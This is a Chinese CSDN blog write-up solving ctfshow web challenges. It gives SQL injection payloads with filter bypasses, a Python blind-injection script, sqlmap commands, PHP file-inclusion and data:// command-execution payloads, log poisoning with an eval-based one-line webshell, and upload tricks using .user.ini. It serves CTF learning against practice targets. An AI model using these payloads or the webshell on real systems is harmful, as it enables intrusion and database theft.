【CTF】ctfshow——web

最新推荐文章于 2024-05-29 18:49:54 发布
最新推荐文章于 2024-05-29 18:49:54 发布
阅读量2.4k 收藏 59
点赞数 9
分类专栏： CTF 文章标签： sql 数据库 mysql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_52923241/article/details/120377206
版权

ctfshow之web通关

web签到题（so easy）

base64解码点这里

  • F12，看到有一串字符串，base64解码
    在这里插入图片描述

yeah~成功拿到flag

web2：SQL注入漏洞（联合查询）

SQL注入详细内容点这里

  • 先输入万能密码1'or 1=1 #
    在这里插入图片描述
    回显成功
    在这里插入图片描述

  • 联合查询（union select）
    1' union select 1,2,3#：从1试到3发现有三个字段，而且发现回显的位置是第二个
    在这里插入图片描述

  • 查表1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
    在这里插入图片描述

  • 查询flag表的字段名1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag'#
    在这里插入图片描述

    此处flag为字段名

  • 取数据：1' union select 1,flag,3 from flag#，得到flag
    在这里插入图片描述

yeah~成功拿到flag

web3：文件包含漏洞

文件包含详细内容点这里

  • 由提示include可知这是一道文件包含漏洞题
    在这里插入图片描述

  • 测试/?url=/etc/passwd回显成功
    在这里插入图片描述

  • 查询当前目录下的文件结构
    /?url=data://text/plain,<?php print_r(glob("*")); ?>
    在这里插入图片描述

  • 查看ctf_go_go_go文件
    /?url=data://text/plain,<?php system("cat ctf_go_go_go"); ?>
    在这里插入图片描述

yeah~成功拿到flag

web4：文件包含漏洞（日志注入）

  • 由提示可知这是文件包含漏洞，与第三题类似

  • 测试/?url=/etc/passwd成功显示
    在这里插入图片描述

  • 重复web3的步骤
    输入/?url=data://text/plain,<?php print_r(glob("*")); ?>在这里插入图片描述error,可能PHP被过滤，尝试其它方法

  • 日志注入
    查看日志文件/?url=/var/log/nginx/access.log
    在这里插入图片描述

  • 把一句话木马<?php @eval($_POST['a']);?>加入到参数里面
    在这里插入图片描述

  • 用蚁剑进行连接
    在这里插入图片描述
    在这里插入图片描述

yeah~成功拿到flag

web5：md5绕过

md5详细内容点这里

where is flag?
<?php
error_reporting(0);
    
?>
<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
    <title>ctf.show_web5</title>
</head>
<body>
    <center>
    <h2>ctf.show_web5</h2>
    <hr>
    <h3>
    </center>
    <?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

</body>

  • 代码审计：输入v1,v2的值，使两者的md5值0e开头，在PHP中0e会被当做科学计数法，最后以0做处理，结果相等，成功绕过，而且v1为字符，v2为数字

    输入/?v1=QNKCDZO&v2=240610708

yeah~成功拿到flag

web6：SQL注入漏洞(空格被过滤）

  • 猜测为SQL注入，先输入万能密码
    在这里插入图片描述
    在这里插入图片描述
    显示sql inject error，说明可能有字符被过滤

  • burpsuite进行抓包
    在这里插入图片描述
    发现空格被过滤了

     一般空格被过滤有如下替换方法：
 ①/**/
 ②()
 ③回车(url编码中的%0a)
 ④`
 ⑤tap
 ⑥两个空格

    随便使用其中一种替换空格,此处使用 /**/

在这里插入图片描述

  • 联合查询查看回显位置：username=admin'/**/union/**/select/**/1,2,3#&password=1
    在这里插入图片描述
  • 爆库：username=admin'/**/union/**/select/**/1,database(),3#&password=1
    在这里插入图片描述
  • 爆表：username=admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#&password=1
    在这里插入图片描述
  • 爆字段：username=admin'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#&password=1
  • 爆字段值：username=admin'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#&password=1

yeah~成功拿到flag

web7：SQL注入漏洞(盲注&sqlmap）

  • 点开其中一篇文章变为id=1；猜测这题为SQL注入
    在这里插入图片描述
    在这里插入图片描述
  • 输入id=1||1显示全部文章内容，说明为整型注入，而且经过测试发现与上一题一样空格也被过滤了
    在这里插入图片描述

布尔盲注

  • 爆库
    id=-1/**/or/**/ascii(substr(database(),1,1))=119——w
    id=-1/**/or/**/ascii(substr(database(),2,1))=101——e
    id=-1/**/or/**/ascii(substr(database(),3,1))=98——b
    id=-1/**/or/**/substr(database(),4,1)=7——7
  • 爆表：id=-1/**/or/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),1,1))——（flag,page,user）
  • 爆字段：id=-1/**/or/**/ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"/**/limit/**/0,1),1,1))——（flag）
  • 爆字段值：id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),1,1))

这个方法太累了，不要用它，ε=(´ο｀*)))唉

sqlmap

因为此题空格被过滤，所以需要使用tamper脚本中的space2comment板块，用“/**/”替换空格符

  • 爆数据库名称：python sqlmap.py -u "http://532592ec-5d47-4fd0-b8fa-b2ae372386a9.challenge.ctf.show:8080/index.php?id=1" --tamper "space2comment" --batch --dbs
    在这里插入图片描述

  • 爆当前数据库名称：python sqlmap.py -u "http://532592ec-5d47-4fd0-b8fa-b2ae372386a9.challenge.ctf.show:8080/index.php?id=1" --tamper "space2comment" --batch --current-db
    在这里插入图片描述

  • 爆表：python sqlmap.py -u "http://532592ec-5d47-4fd0-b8fa-b2ae372386a9.challenge.ctf.show:8080/index.php?id=1" --tamper "space2comment" --batch -D web7 --tables
    在这里插入图片描述

  • 爆字段：python sqlmap.py -u "http://532592ec-5d47-4fd0-b8fa-b2ae372386a9.challenge.ctf.show:8080/index.php?id=1" --tamper "space2comment" --batch -D web7 -T flag --columns
    在这里插入图片描述

  • 爆字段名：python sqlmap.py -u "http://532592ec-5d47-4fd0-b8fa-b2ae372386a9.challenge.ctf.show:8080/index.php?id=1" --tamper "space2comment" --batch -D web7 -T flag -C flag --dump
    在这里插入图片描述

yeah~成功拿到flag

web8：SQL注入漏洞（布尔盲注）

跟web7一样，区别是此题过滤了空格和逗号
	绕过方法：
	①limit 0,1  →  limit 1 offset 0
	②substr(string,1,1)  →  substr(string from 1 for 1)

这里直接使用python脚本

import requests
s=requests.session()
url='http://4d23e74d-18f7-4f85-a48d-704d44ca4729.challenge.ctf.show:8080/index.php'
table=""

for i in range(1,46):	#这里要根据名字长度进行修改
    print(i)
    for j in range(31,128):
    #需要手动依次注释下面三个
        #爆表名
        #payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段值
        #payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

        ra = s.get(url=url + '?id=-1/**/or/**/' + payload).text

        if 'I asked nothing' in ra:
            table += chr(j)
            print(table)
            break

在这里插入图片描述 在这里插入图片描述

暂时还不知道sqlmap的过滤逗号绕过的脚本，可能是它没有吧，所以这里没有写怎么使用sqlmap

yeah~成功拿到flag

web9：robots.txt + SQL注入 + md5

  • 猜测这是一道SQL注入漏洞，但经过各种尝试都没有回显
    在这里插入图片描述

  • 用dirsearch扫一下目录：python dirsearch.py -u 网址 -e php,发现有一个robots.txt文件，我们访问他一下
    在这里插入图片描述

  • 访问robots.txt，发现一个不允许被访问的目录：index.php
    在这里插入图片描述

  • 访问index.phps，弹出弹窗，下载并查看它，源码泄露

    <?php
    $flag="";
	$password=$_POST['password'];
	if(strlen($password)>10){
		die("password error");
	}
	$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
	$result=mysqli_query($con,$sql);
		if(mysqli_num_rows($result)>0){
				while($row=mysqli_fetch_assoc($result)){
					 echo "登陆成功<br>";
					 echo $flag;
				 }
		}
?>

  • 其中有一行代码username ='admin' and password ='".md5($password,true)."'

    • PHP中 .点 起连接作用
    • md5(string,raw)
参数描述
string必需；规定要计算的字符串。
raw可选；TRUE - 原始 - 16 字符二进制格式；FALSE - 默认 - 32 字符十六进制数
  • 也就是说，我们最终要的这个东西 在md5加密后的16进制转化为二进制后 变成username ='admin' and password =‘ ’or 'xxxxx'的形式；逆过来，我们需要将' or 1=1按照加密规则加密，得到的就是我们最后要的东xi 只要md5加密后的16进制转化为二进制时有 'or’xxxx

web10

  • 发现有个取消按钮，点击它
    在这里插入图片描述

  • 出现源码

    <?php
	$flag="";
   	 function replaceSpecialChar($strParam){
    	     $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
	         return preg_replace($regex,"",$strParam);
     }
     if (!$con)
     {
         die('Could not connect: ' . mysqli_error());
     }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
?>
    • function replaceSpecialChar（）函数过滤了字符select|from|where|join|sleep|and|\s|union|,
    • if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); }过滤了双写绕过

下面是学习的新方法

  • with rollup：group by 后可以跟with rollup，表示在进行分组统计的基础上再次进行汇总统计。

  • 在用户名框里输入payload：admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#，密码框里为空即可。因为加入with rollup后 password有一行为NULL，我们只要输入空密码使得（NULL==NULL）即可满足$password==$row['password']

web11:

  • 网页直接显示源码
    <?php
    function replaceSpecialChar($strParam){
         $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
         return preg_replace($regex,"",$strParam);
    }
    if(strlen($password)!=strlen(replaceSpecialChar($password))){
        die("sql inject error");
    }
    if($password==$_SESSION['password']){
        echo $flag;
    }else{
        echo "error";
    }
?>
  • 代码审计：
    • function replaceSpecialChar($strParam)函数绕过了select|from|where|join|sleep|and|\s|union|,
    • 最后发现只要$password==$_SESSION['password']就可得到flag
      在这里插入图片描述
  • 把最后显示出来的条目全部删除，然后以空密码登录即可得到flag

web12

  • 先赋一些本关需要知道的函数

    • highlight_file()函数
      在这里插入图片描述
    • glob()函数
      在这里插入图片描述

  • 直接查看源码，看到提示<!-- hit:?cmd= -->

<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width  minimum-scale=1.0  maximum-scale=1.0  initial-scale=1.0" />
    <title>ctf.show_web12</title>
</head>
<body>
    <center>
    <h2>ctf.show_web12</h2>
    <h4>where is the flag?</h4>
    <!-- hit:?cmd= -->
    
</body>
</html>

源码提示有个cmd变量
这里使用glob匹配文件名
构造payload：/?cmd=print_r(glob("*"));
在这里插入图片描述
发现有一个很长的php文件
使用高亮函数
payload：/?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

web13

先是上传了一个普通的图片马，结果提示文件内容太长
访问一下源码

在web题没有思路时，尝试一下源码泄露的问题。这里列举一下常见的源码泄露
.hg源码泄漏 .git源码泄漏 .DS_Store文件泄漏，还有以.phps .bak结尾的网页

在这里插入图片描述
找到源码

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功！";
	}else{
		echo "文件上传失败！";
	}

 ?>

代码审计：文件内容大小不能大于24，文件名长度不能大于9，后缀长度小于3且不能以php为后缀

开始上传，这里利用一下.usr.ini文件：PHP 会在每个目录下搜寻的文件名；如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名，那么任意一个页面都会将该文件中的内容包含进去。
在这里插入图片描述

在这里插入图片描述
上传成功，然后蚁剑连接

连接成功后显示没有权限
在这里插入图片描述
网页上直接访问

吃_早餐
关注
  • 9
    点赞
  • 踩
  • 59
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
文件的读写基本操作
范高伦的博客
09-07 1万+
一、文件是计算机中数据持久化存储的表现形式 读写文件标准操作格式1： 1、打开文件：file1 = open('文件名','读写模式') 2、操作文件 3、关闭文件：file1.close() 文件操作完毕后必须关闭，否则长期保持对文件的连接状态，造成内存溢出的现象发生 读写文件操作格式2： # 1、打开文件 file1 = open('demo.txt','w') # 2、操作文件 file1.write('hello world') # 3、关闭文件 file1.close() 1、打开文件：wi
ctfshow web139命令盲注脚本
10-21
ctfshow靶场 web入门 web139 命令盲注脚本
【Web】CTFSHOW 常用姿势刷题记录(全)
uuzeray的博客
02-25 1765
通过将常用的函数、类和数据打包成.so 文件，不同的程序可以共享这些代码，避免重复编写和维护相同的代码逻辑，提高了代码的重用性。
CTFSHOW系列-web13(信息收集-技术文档泄露)
siu~
11-27 572
CTFSHOW系列解题思路
【CTF Web】CTFShow web13 Writeup（RCE+PHP+通配符）
最新发布
HEX9CF的技术博客
05-29 493
1阿呆彻底呆了，阿呆拿起谷姐搜索好久，终于找到更狠的方法。
ctf.show web入门
nidaxin的博客
01-21 5280
信息收集 web1:【where is flag】 打开开发者工具 web2:【无法查看源代码】 ctrl+u或者开发者工具·都可以 web3:【where is flag】 直接抓包，查看响应包 web4:【robots】 Robots协议:也称为爬虫协议、机器人协议等，其全称为“网络爬虫排除标准",它通常是一个叫做robots.txt的文本文件，一般放在网站的根目录下。网站通过Robots协议告诉搜索引擎哪些页面可以抓取，哪些页面不能抓取。 先抓包，发现响应包里面并没有f.
ctfshow 做题 web 方向 web1~web10
Goodric的博客
05-29 1792
ctfshow 做题 web 方向 —— web1 签到题 打开环境，页面中就一句话：where is flag ？ F12 查看源代码，注释中一串字符，猜测为 base64 编码。 base64 解码得 flag 。 —— —— web2 题目描述：最简单的 sql 注入。 打开环境是一个登录界面。 注入点应该就是用户名、密码的位置了。 用户名和密码的提交方式为 post ，用 burp抓包，复制数据包到新建 txt 文件。然后用 sqlmap 直接爆数据。 爆数据库： python2 sqlm
CTFSHOW-web
Makabakahaha的博客
07-01 710
phps文件类型主要由php组与php源关联。通常，php文件将由web服务器和php可执行文件解释，您将永远看不到php文件背后的代码。如果将文件扩展名设为.phps，配置正确的服务器将输出源代码的彩色格式版本，而不是通常生成的HTML。并非所有服务器都是这样配置的。也就是说，通过phps可以看到php代码未被解析的源代码所以拿到flagindex.phps是由于非正常关闭而产生的一个隐藏文件。
ctfshow web184 正则爆破脚本0x16进制
10-21
ctfshow web184 正则爆破脚本0x16进制
CTF工具之WEB.zip
10-07
【标题】：CTF工具之WEB.zip 【正文】： CTF（Capture The Flag）是一项网络安全竞赛，参与者通过解决各种安全挑战来展示他们的技术技能。这个名为“CTF工具之WEB.zip”的压缩包，显然是专门为参与此类比赛的选手...
CTFSHOW web183 正则爆破脚本
10-21
CTFSHOW web183 正则爆破脚本
ctfshow web214 时间盲注标准脚本
10-21
ctfshow web214 时间盲注标准脚本
CTF-show WEB入门--web13
m0_73912575的博客
01-03 432
CTF-show WEB入门--web13
ctfshow web系列
RealIiikun的博客
04-07 961
源代码要求v1为为字母，v2为数字，并且v1与v2的md5值相同md5漏洞介绍：PHP在处理字符串时，它把每一个以“0E”开头的哈希值都解释为0所以只要v1与v2的md5值以0E开头即可。常见的0e开头的MD5和原值QNKCDZO240610708。
【CTF Web】CTFShow web13 Writeup（PHP+文件上传+RCE）
HEX9CF的技术博客
04-28 473
5。
CTFshow-web
bianhua931215的博客
11-17 53
01 web签到题 查看源码，base64解密即可 02 web2
ctf.show_web
wangzhemvp的博客
03-31 624
是另一种记录客户状态的机制，不同的是Cookie保存在客户端浏览器中，而Session保存在服务器上。后端代码就是拿这个session的value值与我们输入的密码进行匹配, 由于这个value值我没解密出来, 所以这里干脆一点, 直接删除让变成空, 密码什么也不输, 也会是空, 空=空, 从而登录成功。2.然后上传a.txt，这样的话，每次调用 php 文件，都会自动包含 a.txt 文件，题目中要求文件的内容不能太长，会引起报错。可以使用命令，就可以用glob，比如，glob("*") 匹配任意文件。
ctfshow web入门（SSTI）
m0_62422842的博客
06-18 1348
ctfshow的web入门中ssti题目的总结
CTF show----web 解题笔记（web7~web10）
weixin_45908624的博客
01-05 603
ctfshow web7-web10
ctfweb基础知识框架
05-11
CTFWeb 是什么？ CTFWeb 指的是 Capture The Flag（獲得旗幟）的網絡安全比賽。它通常是一种在线竞赛，旨在检测和提高参赛者的网络安全技能。 在 CTFWeb 比赛中，选手需要完成一系列的安全挑战，例如破解密码、漏洞利用、逆向工程、加密解密等。每完成一个挑战，就可以获得一个 "flag"（旗帜），这个 flag 就相当于证明你完成了这个挑战。比赛的最终目标是收集尽可能多的 flag，以获得比赛的冠军。 CTFWeb 对于网络安全从业者和学生来说是一个很好的实践和提高的机会，因为它可以帮助他们提高安全技能、练习手段、了解最新的安全技术和漏洞。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

吃_早餐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值